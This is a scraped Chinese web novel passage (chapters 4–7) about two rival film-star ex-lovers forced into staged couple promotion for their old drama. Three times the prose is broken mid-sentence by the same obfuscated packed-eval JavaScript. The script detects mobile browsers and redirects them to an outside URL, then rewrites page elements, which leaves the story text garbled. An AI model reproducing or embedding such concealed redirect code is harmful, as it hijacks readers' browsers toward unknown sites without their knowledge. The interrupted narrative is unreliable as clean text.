宁柏右定定看着这个WB名字，视线模糊，滴滴眼泪掉到屏幕上，许久说不出话。 “右右哥19岁生日快落~~~~”记忆中的少年抱着一花篮五彩斑斓的花瓣突然出现，星眸璀璨，笑容灿烂，花瓣往空中扬起，少年在飘落的花瓣中绕着他跑了好几圈，“撒花撒花撒花~~~~” “嗯。”记忆中的他抿唇微笑，心里情绪澎湃，想说的话有很多，想抱着他的少年道谢，却只能挤出这么一个字，只能定定站在原地，像个桩子。 他一直都是这样的，锯嘴葫芦，沉默无趣，才把自己的少年弄丢了。 不仅是少年觉得累，他也厌恶自己这个样子。 可他改到现在，也没能完全改掉这些坏毛病，十年真的太久，久到连挽回都没机会。 现在哪怕是做戏，是营业，曾经的少年长大后，也连话都不想跟他说一句，哪怕一个标点符号，一个表情都没有。 枯坐一夜，天边鱼肚白，他终于回过神，给已经没电的手机充上电，重新开机，认真回复。 【右右哥宁柏右：谢谢知攸，也祝你拍戏顺利，天天开心。笑.jpg】 回复发完，宁柏右笑了一下，觉得自己真的很可笑，把手机放着充电，起身去洗漱。 现在会说有什么用？当年哪怕嘴里能多蹦出两个字呢？ 神经。 “神经。”左知攸嘴里不屑地嗤笑，将手机扔到小丽的包里，表情嫌弃地拿起剧本去拍日出戏，“谁要你回复我，大早上看见这些东西真是晦气。” 还天天开心，笑死，你回复我，我能开心才怪。 两人假模假样的营业是连粉丝都觉得无语的程度，今天是宁柏右的生日，本来大家看左知攸卡凌晨零点发祝福还挺高兴，定睛一看，好家伙，不愧是你啊左影帝，也就做做样子，就艾特一下，祝福全靠大家脑补呗？ 等到早上，宁柏右的回复也让粉丝直叹气。 大哥呀，谁不知道你们十年没互动呀，你们连互关都没有呢，突然这么热情，您也觉得没逻辑，很假吧？ 即便是大家都觉得这场营业很离谱，但谁让他们粉丝多，路人盘还大呢？ #左影帝贴心为宁影帝送上生日祝福# 热搜一出，大家蜂拥而至，你假我假，大家假才是真的假。 【好，我懂了，我get到了，《司鹿极梦》我一定会去看的。】 【我懂，我懂，我懂，这就叛出纯恨界，投奔纯爱界，微笑。】 【来，有请《司鹿极梦》，快给两位主演磕一个，他们真的太努力了。】 【假糖？单纯营业？可以，我看出来了，但这个cp我一定要磕！】 【唉，我知道你们也是怕我们看剧不开心嘛，都是为了我们好嘛，没关系，只要你们愿意为了热度讨好我们，为我们花心思就好。】 【哈哈哈，不就是假cp吗？只要剧没结束，这个糖就是甜的，谁说一定要吃软糖？硬糖也好吃呀，微笑。】 【很好，很好，朕心甚慰，我倒要看看两位接下来能有多体面。】 【左右cp好像都不会营业诶，来，磕糖人亲自指导，今天13:14能看到你们互关吗？】 “卡点互关？”吃完午饭，左知攸听到小方转达的话，觉得真是离谱，拿出手机去看热搜，把自己看笑了，“现在磕糖界都这样磕糖了吗？点菜呢？” 这么会进步，不通知一下他这个元老吗？ “嗯。”小丽在一旁笑着点头，“正好现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950551|160911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在也有热度，剧方那边就拜托我们满足一下大家的愿望。” “行吧。”左知攸没有意见，“到时候你们操作一下，我下午还要拍戏，没时间等。” “好。” 休息片刻，左知攸去继续对戏，没等多久就开拍。 一直拍到下午一点不到，刚结束一场戏，李百海导演突然阻止化妆师上来补妆，笑着调侃：“左老师，休息一下吧。” “这就休息了？”左知攸不明所以，破旧的西服极其不合身，显得很是落魄，抬起头时却又回到意气风发的影帝模样，身上的戏服好像也在一瞬间变成了时尚单品。 入戏快出戏也快，这样的演员真是看一次爱一次啊，李百海导演心里感慨，举起手机晃一晃，挑着自己粗粗的眉毛，一副八卦的样子。 “左老师，你不是还要忙嘛，待会儿再拍。” 左知攸欲言又止：你也寻我开心啊。 有些话，心里这么想，却不能说出来，毕竟拍完这部戏就要给《司鹿极梦》宣传，他要是这么说了，被爆出去，就太油麦了。 正主不喂糖就算了，还泼冷水，磕糖人最讨厌这种行为了。 仔细想想，自己发的生日祝福也挺烦的。 既然想要大家追剧，那就该好好营业，把情绪带到工作中太不合适了。 “剧组现在重剪重做特效，物料也发得很勤，那么努力讨要市场，我应该再配合一点才是。”他心里嘟囔。 而且这还是自己的第一部戏，当初刘铭导演坚持让他做主角，虽然后来没能过审，无法播出，可自己也不能忘记当年刘铭导演和整个剧组的恩情。 正因为有大家的帮助，自己才能改掉一些演技上的小毛病，后来去试戏的时候才有机会演自己第一个电影小配角不是吗？ 左知攸回去拿手机，坐下来喝了几口水，去搜宁柏右的账号。 第一条就是凌晨时感谢粉丝发的长文，配上九宫格照片，很帅气。 在工作上，宁柏右向来很出色。 思及此，左知攸深吸一口气，点赞回复：【你值得。礼花.jpg】 咯噔！ 当宁柏右看到这一条被粉丝们欢呼雀跃着顶上来的回复，黑眸不由得染上失落。 他知道，这次才是真的营业。 凌晨那一条至少还带着个人情绪，这一条，完全是为了工作。 “就这样吧。” 好好配合，延续十年前应有的绚烂吧，等剧播完，就真的结束了。 13:14分。 @让我康康谁是开心果左知攸和@右右哥宁柏右互相关注了彼此。 没经过讨论，默契地发了一张十年前的杀青双人合照。 因当年经费不足，杀青时剧组送的大花束只有一束，可他们却更加开心，两人坐在石头上对着镜头笑，靠近的那只手抱着花束，另一只手举起来在头顶靠在一起比心，脑袋和肩膀也靠在一起，左知攸笑得灿烂，宁柏右笑容腼腆。 他们的手上，都戴着一枚铂金戒指。 这是他们最爱彼此时留下的最后一张合照，在那不久，他们的感情就急转直下，充满狼狈。 就像当年那部剧，在他们兴奋的期待中，被毙了，没能过审。 “张导，我请两天假，回去拿样东西。”宁柏右摸着右手无名指上的印痕给导演打电话。 “志哥，你去我家床头柜里，帮我把那枚戒指拿过来吧。”左知攸给李志打去一个电话，“小心点，别掉了。” 5. 第 5 章 杀青剧照中，两位少年手中从未在物料中出现过的对戒诉说着对彼此的爱恋。 杀青了，不用演戏了，少年们可以小心翼翼地宣示自己的爱情，戴上了戒指，对着镜头留下纪念。 而这两枚戒指，无论是左知攸还是宁柏右的粉丝都很熟悉。 这是他们戴了十年的戒指啊，除非工作必要，不然绝对不会摘下来，怎么会不熟悉呢？ 之前他们接连将戒指摘下，粉丝们还猜测原因呢。 【救命，你就跟我说这个糖是真的还是假的吧？】 【谁懂我这过山车般的心情啊，我说不敢磕，正主立刻营业给我看，我说营业假，正主立刻发合照，给我看到这两个戒指！】 【难道这十年他们都在谈地下恋情？】 【戒指为什么摘下？难道是看到大家磕cp，为了避嫌才摘？】 【呵呵，我之前就想说他们的戒指真的一模一样，果然有猫腻啊。】 【我就说这样的对家不谈恋爱真的很可惜吧？】 -- “《司鹿极梦》确定定档明年元旦了。”李志走进化妆间告诉左知攸这件事情，“今晚的活动确定要跟宁柏右一起出席？” “既然定档了，那不应该为剧宣传吗？衣服都搭配好了，反悔也没意思。”左知攸歪头微笑，手上还看着这几个月囤积的电视剧。 他拍戏的时候没办法追剧，只能拍完戏再继续看，漏了不少糖点，为了把课补回来，简直比工作还努力。 “网上说你们现在看着都不像对家了。”李志笑着摇头，网友们是最健忘的，以前都说他们是最强对家，几个月互动下来，都说他们是公私分明，表面上为了工作争得头破血流，私底下好得要穿一条裤子。 其实说得也没错，市场那么大，他们路线都不一样，竞争还真的不大。 “对家？”左知攸勾起唇笑，刚分手那会儿，他还真想过要在工作上狠狠压过宁柏右一头。 只是，人家出国发展了，五年前拿了影帝回来，跟他顶峰相见，谁也压不住谁。 见他这样淡然，李志只能期待待会儿见了面别又把自己给气着了喊狗东西吧。 化完妆，穿上早已准备好的白色蜀绣西装，浅蓝色的蝴蝶晕染在肩膀，唇间若隐若现的笑意，眸光流转的含情眸，抚平一身冷淡，气质气质清冷优雅，又含几分蛊惑。 “大家说得果然没错。”李志感觉自己又被迷住了，咧着大白牙，“咱家左老师果然对人的眼睛很友好。” “走吧，去拍照。” “走走走。”摄影师早就迫不及待，从角落里窜出来，眼睛都笑没了，“我刚刚拍了几张，氛围真的超好。” 左知攸去拍了好几组照片，把摄影师乐得牙不见眼。 因今天要和宁柏右一起出席活动，两人还要拍合照，没多久，在30楼拍完单人照的宁柏右也带着自己的摄影团队到31楼。 沉稳的步伐传来，左知攸侧头看去。 宁柏右今天穿的西装和他的是同款，墨色蜀绣西装，肩头是绿色树枝，温柔儒雅又不失稳重。 两人衣服的肩部晕染图合在一起是蝶落枝头的图案。 剧已经定档，很快就会播。 经过几个月的铺垫，好不容易让网友们淡忘他们过去的对家标签，可他们两个电影咖，突然想杀进偶像赛道分蛋糕，多的是艺人不同意。 《司鹿极梦》还定档元旦，平台要拿来打出开年第一枪，其他平台能坐视不管？ 流量你家吃了，我家的开年剧怎么办？ 现在剧还没播，已经有人带节奏帮网友回忆过去，从各个角度拼命降低路人对《司鹿极梦》的期待。 在围攻之下，《司鹿极梦》双拳难敌四手，有点要扛不住了，立马开始摇人。 没错，摇的就是两位主演。 之前他们都是线上互动，从现在开始要开始线下营业了。 为了下猛药，给剧助阵，这两套衣服是经过左知攸同意的，当时他的确没什么不乐意的。 只是，隔着网络看人的确跟看真人不一样哈？ 平时没见到人，营业就营业了，为了工作嘛，忍忍咯。 可亲眼看到宁柏右出现在自己面前，过去的记忆又将左知攸痛击一遍，让他忍不住深吸一口气，嘴角的淡笑快速消失，冷着脸在心里骂狗东西。 李志微笑：很好，气场又变了呢，我就知道，习惯了，没关系。 左知攸板着脸也关系，他身段气质都好，高贵冷艳的模样更让人激动，摄影师已经忍不住咔咔咔拍照，怎么样都不怕出不了片。 李志和周雯对视一眼，专业地叮嘱自家的摄影团队一定要和谐合作。 宁柏右笑得温柔亲切，平易近人，左知攸生人勿近，高贵冷艳，两人站在一起，没有做什么亲密的动作，气场却很神奇，竟然能在其中感受到独特的默契？ 谁说对家的气场不能有默契呢？ “貌合神离可以吗？”李志看了照片，低声问周雯。 周雯也不太确定，但要说照片不好？那肯定是不可能的，这些合照拍得可太好了，抓人眼球，挠人心肝。 “果然他们适合纯恨，对吧？” 李志听了这个回答，一噎，忍不住叹气：“看来过了今晚，纯恨界又能崛起了。”要命，好不容易才帮纯爱党站起来的！ 周雯：......主要是这两人现在也甜不起来啊，别人不知道，咱们还不知道他们怎么回事吗？ 双方团队都不敢让他们拍什么对视呀，牵手呀之类的照片，反正能出片了嘛，纯恨就纯恨吧。 剧播嘛，宣传嘛，不就是为了流量吗？ 只要有话题度，纯爱和纯恨有什么关系？ 在化妆师们又一次上来补妆，左知攸走到旁边离好几步远的地方，宁柏右视线追随着他手上的戒指，轻轻抚摸自己的那一枚，温柔的笑容慢慢消失，沉默着垂眸，几次张口，都没说话。 哒！ 化妆师合上化妆盒的声音传来，下一次拍摄又要开始了。 瞧见左知攸走回来，宁柏右自动站直，低头转动戒指，犹豫几次，慢慢深呼吸，重新露出笑容。 “拍几张和谐点的照片吧。” 众人：......你知道你们的照片不和谐了？ 左知攸本来也想这么提议的，但他先开口了，自己就不是很情愿：“我觉得我们刚刚的几组照片挺好的，很出片。” “《司鹿极梦》前期很甜，刚刚拍的照片发出去，会让人很出戏。”宁柏右解释，“就当是为了十年前的努力，那是我们第一次拍戏。” 左知攸故作沉思片刻，不情不愿地点头：“知道了，我会配合。” 宁柏右看着他的冷淡，笑容温柔，就当是我贪心吧，隔着网络可以装释然，可人真的站在面前，不多试几次，怎么能轻易放下？ “那两位老师站近一点，对视，笑一下。”摄影师怂唧唧地提醒。 左知攸冷眼看去，宁柏右笑着主动走近，低头看进他的眼睛，温柔缱绻。 这个眼神...... 左知攸调整表情勾起笑，抬眸时愣了一下，指尖微颤，心脏加速跳动，但也不到一秒，眼底就闪过嘲讽，多熟悉的眼神啊，但这有什么用？早就结束了。 察觉到他的情绪，宁柏右嘴角的笑容凝滞，眼底染上落寞。 那一瞬间的甜蜜让大家十分惊讶，几个摄影师先后按下快门，紧张地检查照片，扼腕不已。 “啊，没抓拍到，我为什么要愣神！” “你拍到了吗？” “没有，你呢？” 几人无奈对视，再让左知攸他们调整表情的时候已经找不到刚才的感觉了，拍出来的照片比一开始那些还要貌合神离。 一个笑得再温柔也难掩失落，一个在假笑，明明在对视，还比不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950552|160911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上前面那些并肩面对镜头的照片。 “他们果然还是适合纯恨界吗？”李志低声呢喃，心里也挺遗憾的。 “要不就这样？再拍下去都要迟到了。”周雯干笑。 “不过这张感觉很绝。”李志挑出那些调整表情前拍的一张照片，难掩心疼，“给我一种，他们还在意彼此的错觉。” 他知道，不是错觉，但事情已经过去了，就当是错觉吧。 周雯嘴角噙着笑，心里也在叹气：她宁愿是错觉。 “但不管怎么样，能交差了对吗？”她笑着道，“老死不相往来的死对头有了双人合照，效果还不错，待会儿还会一起走红毯，至少比以前好多了。” 怎么说呢？如果是按照cp营业来看，这肯定是不合格的，但谁让大众对这两人的营业期待太低呢？ 营业有进步，那就万事大吉！ “行，就这样吧。”李志知道周雯的意思，正巧，他也一样，“慢慢来吧，反正没到正式宣传期，不急。” 铃铃铃~ 闹铃响起，他按掉闹钟，笑着让大家收拾东西：“左老师，咱们先去现场吧。” “嗯。”左知攸率先走出去，接过小丽递来的小饼干放进嘴里垫垫肚子，走到电梯里喝了几口水，化妆师又上来补妆。 宁柏右沉默着跟上去，笑着和他并肩站在一起。 虽然没说话，也没往这边靠，更没往这边看，左知攸却能感觉到他身上若有似无的忐忑。 毕竟要和这家伙做一段时间的同事，影响工作不好，左知攸露出营业假笑：“宁老师是有什么话要说吗？” 他的主动开口让宁柏右眼睛一亮，勇气加身，带着希冀开口：“攸攸......” “宁老师请自重，别这么叫我。” “那我叫你左老师，左老师，剧被埋了能有重新面世的机会......” “宁老师，我以为我们达成了共识。”左知攸打断他的话，“丢了的东西，找回来有意义吗？” 宁柏右低头看两人手上的戒指，紧张点头：“有意义，至少你的戒指找回来了。” 左知攸一顿，这是什么意思？在关注他？真是让人觉得又好气又好笑。 “宁柏右，我真的看不懂你，原来你也不是不会主动，也不是不会表达，那当年为什么不做这些？当年分手后，怎么不知道挽回呢？隔了十年，再做这些有什么意义呢？” “我......” 看，到关键问题，就变成锯嘴葫芦了，十年了，看起来好像变了，实际上一点没变。 左知攸转身就走，走了几步，身后的脚步声里没听到那道最熟悉的，疑惑回头，见人还站在原地，苍白着脸低垂着眉眼，眼眶湿润的模样，深吸一口气掩去心头的憋闷，切了一声，转身继续走。 他才不在意呢，爱哭就哭，反正狗东西以前也这么爱哭，有什么好惊讶的。 “以前我一堆坏毛病，做这些当然没有意义。”宁柏右在身后重新扬起笑，喉咙滚动，努力咽下眼泪，对着他的背影勇敢解释，“现在我把那些毛病改了，或许有呢？” 左知攸脚步一定能，快速抬手抹去眼角刚沁出的一滴泪，昂起头往前走，声音还是那么平稳冷淡。 “往前走吧，宁柏右。” 往前？ 宁柏右脚步停下，低下头，几滴泪掉到地上，过了几秒，他抬手擦掉，重新挂上招牌的温和笑容回头看向化妆师：“帮我补妆吧，别迟到了。” 不知道何时跑到远处的工作人员们又跑回来，匆匆忙忙帮他补妆。 此时，李志也带着团队的人跑回左知攸身后，和他一起上车。 宁柏右看着车内的那个人，重新露出笑。 好，我往前走。 你不回头，我跑前面去就有机会了。 两人的车缓缓驶出停车场，柱子后面，一个压低帽子的身影抱着摄影机快速跑走。 6. 第 6 章 #左影帝停车场大骂宁影帝# “嚯！真是让人挠心抓肝的热搜啊。”左知攸将热搜中的图片来回放大，视频的进度条来回拉，像是发现了什么，勾起一抹浅笑，“真有意思。” “我已经联系上公关部了，很快就会把热搜撤下来。”李志发现了偷拍者的大概位置，回想当时的情况，咬牙，“没想到他竟然做这种事情。” “他不会做这种阴人的事情。”左知攸下意识帮忙解释，说完又皱眉，看向窗外，他帮忙解释什么啊！ “还好视频离得远，你们说话的时候有在控制自己的音量，没录到声音。”李志说完，又觉得不对，“录到声音不就是他理亏了吗？哪像现在这样无辜啊。” “不会真是他吧？应该不会吧？可现在的时机不对啊。”小丽大吃一惊，“你们还有剧要上呢，就算他再想踩着左老师更上一层楼，也不该选这时候啊。” “一部剧而已，播不播，播得好不好能影响他在电影圈的地位吗？”小方很是生气。 “可是......”小丽觉得还是不太对劲。 “你想想，圈内能踩着咱们左老师上位的人有谁？不就只有他一个？” “路线不一样啊。” “话是这么说没错，可人总不能一辈子就走一条路线吧？” “这个偷拍的位置就在他的团队当时站的位置后面一点点，只要稍稍偏偏头就能看到，那么多人，怎么可能没有一个人发现？”一直拉进度条的小方很生气地增加证据。 位置微妙，受益者还是他，小丽想想，竟然被说服了？紧紧握着拳头，在心里低骂一声狗东西。 “说不定是大家吃瓜太认真了？”左知攸说话很小声。 众人摇头：“这也太不专业了。” “主要是平时也吃不到这种瓜吧？” 众人还想反驳，突然发现是谁在帮忙解释，对视一眼，一起点头：“好吧，左老师相信的话，我们就给他一个......” “谁相信他了，我为什么要相信他？”左知攸板起脸，重新看向窗外，“我想了想，也觉得就是他做的！你们说得没错！” 众人：那不是你一直在帮忙解释嘛。 “热搜没撤掉，公关部联系到发文的账号，对方还骂左老师虚伪。”李志看着公关部的回复就气，“我让他们继续撤。” 左知攸重新拿起手机，重新把热搜里的文字和图片视频都看一遍，垂眸沉思：“不用管了，反正谁都知道我脾气不好，骂人怎么了？又不是没骂过。” “左老师，你是在质疑我的专业性，你等着，到活动现场前，我一定把热搜给撤了。”李志被点燃斗志，“不就是一个热搜吗？这些年更难撤的热搜也不是没有！” 左知攸其实不觉得有什么大不了的，拿起手机，发一条回应。 【让我康康谁是开心果左知攸：对，把他骂了个狗血淋头，真舒坦。】 “行了，别管这种事情。”反正等他们一起走红毯，这个热搜肯定就没热度了。 “我......我去，宁柏右这是什么意思？”李志正要继续公关呢，突然惊叫起来，“他回应什么啊，要他回应吗？好像你俩关系很好一样，狗东西就会乱攀关系。” 左知攸嘴角往下撇，不是很高兴，转念一想，又觉得自己心太好，别人骂宁柏右怎么了？有什么不高兴的？他应该放鞭炮好吗？ 【右右哥宁柏右：拍个照教十遍都不会，纯纯浪费时间，骂得好。】 看时间，宁柏右的回应应该是左知攸他们分析的那段时间发出来的，两人的回应一前一后，好像能连在一起一样。 左知攸去看了，气不打一处来：“要他充什么好人，有病吧，搞得我是在赞同他的话一样，我明明是在回应热搜好吗？” 见他因为这件事情不高兴，李志下意识附和：“就是。” 小方也很气：“营业做得真好，那么多年也没见他帮一次忙啊，这个时候充好人，我们就解决不了吗？” “但凡以前左老师地位不稳的时候来帮忙，我就还信他是余情未了！”小方重重点头。 “心机真重啊，在停车场的时候说得多深情，营业机会来了还不是巴巴赶上来？”小丽冷哼。 左知攸听着，无奈地笑了：“也不至于把人想得那么坏吧？” 他帮忙说话了，大家也就不骂了，李志在处理后续，其他人拿果盘的拿果盘，递手机的递手机。 嗡~ 手机震动，左知攸低头，瞧见是陌生人给自己发的短信，他再去WB找私信，也找到了一条一模一样的。 【没查到是谁拍的，但不是我团队的人，我会继续查。】 他看着这些解释微微有些发愣，过去的记忆浮现在脑海里，眼眶逐渐微红，心里又酸又痛。 不是因为热搜，而是因为宁柏右这种解释的行为。 以前联系方式也没变，甚至没有拉黑删除，也没见狗东西像现在这样，没有条件也要制造条件，绞尽脑汁找到渠道给他解释啊。 私信不见解释，短信也不见发来一个字，哪怕想不到这些办法，总有手有脚吧？ 就知道躲在屋子里难过，等着他收拾好自己的痛苦，去主动找的时候再哭得稀里哗啦说一句对不起。 现在都分手十年了，做这些有什么用？十年前没结束的时候怎么不做？ -- “左知攸和宁哥快到了。”视界盛典活动后台，空无一人的单人休息室，活泼可爱的女星站在窗前打电话，纯真的脸弯起一抹微笑，声音柔软，“你听我的，宁哥帮忙回复都是为了《司鹿极梦》宣传，你想办法去质问左知攸，以他的性格，肯定会生气，很可能会在活动现场摆脸，说不定还能拍到他再骂一次宁哥的画面。” “真的吗？”电话那头传来一道期待的声音。 “当然，左知攸这些年被捧得太高了，他受不了这些的。”女星杏眸弯起，说话像撒娇一样，“就是要委屈一下宁哥，不过很快，宁哥就能踩着左知攸更上一层楼了，这些都是值得的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950553|160911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好，我听你的。” 女星笑容灿烂：“来，我教你怎么说。” 七八分钟后，她挂掉电话，回去对着化妆镜调整自己的站姿，露出乖巧的笑容，眼神却冰冷，双手端庄交叠在小腹前极力压制怒意：“宁柏右，你这个贱人，休想再跟我抢小攸哥。” 叩叩叩！ “悠然，左老师的车到了。”助理娜娜的声音从外面传进来。 林悠然深吸一口气，声音清脆：“娜娜姐姐，我有点口渴，你给我倒杯水吧，我喝完再去，对了，你让化妆师来给我再补补妆。” 娜娜走进来，看她红得跟兔子一样的眼睛，很是心疼：“你怎么哭了？” “网上那些人凭什么说小攸哥脾气不好，我就是气不过，拿小号跟他们吵了一架，没吵过。”林悠然嘟起嘴，很不高兴。 “热搜已经平息了，不过大家现在都在说左老师他们好像真的有点什么，你，你别难过，他们早就分开了。”娜娜小声哄。 “我没事，只要小攸哥没事就好，我没关系的。”林悠然的表情有一瞬间裂开，低头掩饰：要他充好人，贱人，别以为这样就能让小攸哥心软回头，我不会给你这个机会的！ 化妆师走进来，娜娜吩咐：“补一下眼妆，对了，弄得可怜一点。” “别。”林悠然笑着摇头，嘟着嘴，“小攸哥火眼金睛，能看出来的，别伪装这些了，我可不像某些人，假惺惺。” 娜娜：谁？不会是宁影帝吧？啊，这......行吧，情敌嘛。 -- “啊啊啊啊啊！” 外场掀起一阵阵激动的尖叫声，摄影师门不停地按着快门，咔咔咔咔的声音不绝于耳，并肩走来的两个男人穿着同款西装，连手上都戴着同款对戒，身高腿长，肩宽腰窄，大步走来的样子魅力十足。 左知攸高贵冷艳，宁柏右温柔儒雅，一起来到签名墙前转身面对大家，气场强得可怕，好像有排斥，又好像有接纳，满满都是张力。 外场的人又忍不住发出一阵阵尖叫，感觉有些人都要晕过去。 太奶奶，我看到双帝合影了，要死了要死了！ 机不可失，时不再来！ 摄影师们激动地让两人看过来，手里的快门不停，闪光灯疯狂闪烁。 足足站了一分钟，左知攸觉得差不多了，转身就走，宁柏右眼神追随，快速反应，看起来就像是商量好一样，几乎同时转身。 “啊啊啊啊！”粉丝和摄影师们又要疯了。 这默契，还是对家吗？！他们不会真的有点什么吧？ “贱人！”林悠然刚离开休息间就看到这个直播画面，气得忍不住低声呢喃，偏偏还要表情管理，牙龈都要咬碎。 别以为她没发现，明明是小攸哥先走的，宁柏右这个贱人心怀不轨，反应快而已，弹幕也都是一群傻子，竟然没发现，还好磕，都分手十年了，磕什么磕，也不怕碎了牙！ “可恶！宁哥一定是被逼的！”后台入口角落里传出一道克制的低骂。 7. 第 7 章 尖叫声被抛在身后，左知攸快步走在去后台的通道中，宁柏右紧紧跟着，噙着温柔的笑和一位在此接待的工作人员轻轻点头，等走远了才小声解释：“热搜的事情......” “不用解释，我知道不是你做的。”左知攸表情并未和缓，声音也很小，“但没必要。” “我知道你不会误会，我只是......” “不会误会？”左知攸偏头看他，几秒后，不知道为何，竟然勾起一抹笑，看起来友好极了，眼神却是冷的，“你很得意吗？是啊，我从来不会误会你，你当然不担心了。” 宁柏右表情凝固，像是被他眼里的利剑刺伤，勉强维持着笑容，紧张地用力抓住裤子口袋的边缘，眼里的勇气摇摇欲坠：“我只是觉得尽快解决比较好。” “尽快解决当然最好，那谢谢您了，宁老师。” “不，不用。” “还是要谢的，毕竟您真的帮了我，不过以后您不用这么好心，这种事情，以你我现在的恶！劣！关系，好像您的帮助并不合时宜，您该帮的人不该是前任，您该主动的时间也不该是十年后，身份和时间都出了差错，做得再多，都会让人觉得困扰，也会让人觉得您是在自我感动，您觉得呢？” 宁柏右抓着裤子的手用力到泛白，心一寸寸下沉，苦涩地点头：“我知道了，我会注意分寸的。” “感谢。”左知攸转头，大步往前，快走到后台，远远看到一个在拍摄的摄影师，又露出笑容，转头看向他，挑起眉。 拍照冷脸可以说是摆pose，到了后台就是私底下的相处，太难看不好。 “宁老师，我们该营业了，收收您脸上那可怜的表情，免得别人又以为我在骂你。” “嗯。”宁柏右快速收拾好脸上的失落，跟上来重新挂上温柔亲切的笑容，和他一起走进去。 “左老师，您的休息间在这边。”一个挂着工作牌的鸭舌帽男生从入口处笑着快跑过来，“我带您过去。” 宁柏右的带路员也跑来了，率先进场的李志他们也走来，两个团队一起往休息间走。 往年他们的休息间都隔得远，今年情况特殊，主办方询问过双方团队的意见就安排在对门。 鸭舌帽男生打开门，送左知攸进去，却不像别人那样离开，而是笑着也跟进来，把门关上。 “还有什么事情吗？”李志疑惑。 鸭舌帽男生看向左知攸，笑容消失：“左影帝，您是不是太过分了？” “怎么说？”左知攸疑惑，转身看他，不是吧，他刚说了谢谢就说他过分？早知道就耍大牌不道谢了。 “不好意思，我们左老师还要休息。”李志不准备让这个工作人员继续在这里待着，强硬地抓住他的手臂往外推，“麻烦您先离开。” 鸭舌帽男生不想出去，挣扎着质问：“左影帝，我知道你和宁老师以前在一起过，虽然分开了十年，但现在宁老师有意跟你复合，你拒绝有意思吗？” 左知攸歪头，挑眉看着他眼里的忐忑，挥手让李志他们住手，露出笑容：“继续。” “拿乔的事情，意思意思就得了，宁老师也不比你差，他姿态都摆那么低了，你还拿过去的事情来说话，未免太颐指气使了，人家又不欠你的，都分手了，还提过去，有意思吗？” “有意思啊。”左知攸慢慢坐下来，“你是他粉丝？” “是！” “停车场的视频是你拍的？” 鸭舌帽男生犹豫不到半秒就点头：“是。” 左知攸明白了：“原来你还有同伙啊，同伙也是他的粉丝？” “关你什么事？” “真年轻。”左知攸觉得很有意思，语气含笑，笑容却又消失，冷漠地靠在椅子上，下巴微抬，“不送。” 看垃圾的眼神让鸭舌帽男生下意识腿软，心脏加速跳动，下意识往外走，还红着脸放狠话：“总之，以后给我小心点，别再让我发现你，你，你居高临下，你最好不要再当坏蛋！” 他匆匆逃离休息间，左知攸微微摇头，让造型师来整理他刚刚走红毯时被冷风吹得有点歪的发型。 李志饶有兴致地关上门，重新打开照片和视频仔细看。 之前是先入为主，觉得这是一条黑热搜，幕后之人对他们怀有恶意，现在鸭舌帽男生这么一闹，他品出了点有意思的事情。 视频里面，两人的气场太强大，尤其是左知攸的，很居高临下，明显处于上风，配合小作文，说他在骂人真的很有说服力。 可实际上，左知攸和宁柏右的表现都不激动，真称不上是吵架，更别说大骂，充其量就是在探讨一件事情。 这不重要，重要的是在气质上，摄影师的偏爱真的很好品。 “噗！”他的表情有点蚌埠住了，“知攸啊，我总算知道你为什么这么轻易放他走了，那人真是你的黑粉吗？把你拍得真好啊，跟个国王似的，宁柏右这么优越的身段都能拍成个可怜虫，啧，摄影功力不错啊。” 众人闻言，纷纷去仔细品审美，然后全都沉默了。 虽说离得远，没拍到正脸，停车场光线暗，无论是照片还是视频都比较模糊，高糊是没有颜值可言的，但有气质可说。 摄影师聚焦在左老师这个反派身上，把他拍得真是过分美丽。 把偷拍者判给宁柏右说是他粉丝，估计宁柏右都觉得委屈吧？ “左老师，那这件事情究竟是谁主导的？”小丽看不懂了，成分复杂的黑粉？ “在帮宁柏右叫屈，损害的还是左老师的利益，这是什么操作？”小方试图用自己的经验去解释，“想让左老师和宁柏右的粉丝撕起来？” 小丽摇摇头：“听起来是合情合理，可是小牡丹和朱顶红一堆事业粉，怎么可能受这种低级挑拨？” 双帝死对头？ 那又怎么样。 在《司鹿极梦》传闻定档的时候，小牡丹和朱顶红就在几天内达成合作，都不撕彼此了好吧？ 剧没播完，双方就是一家人，不可能撕的。 小方视频看的次数最多，突然反应过来：“好像，就是左老师揩泪和宁柏右落泪补妆的镜头都被剪掉了，如果真的铁了心要抹黑左老师的话，只把左老师揩泪的片段剪了，那宁柏右不是更可怜？” “红毯刚走完，都不用我们花钱，相关词条就上了热搜，这条骂人的热搜都没热度了，刷刷往下降，就算宁柏右不帮忙回应，连《司鹿极梦》剧播都影响不了吧？算了算去，黑了个寂寞？”小丽点头附和，“幕后人的成分很复杂呀。” “挑拨离间呗，有人见不得我和宁柏右关系好。”左知攸提醒，“刚刚那个工作人员的目的不也是这个吗？” 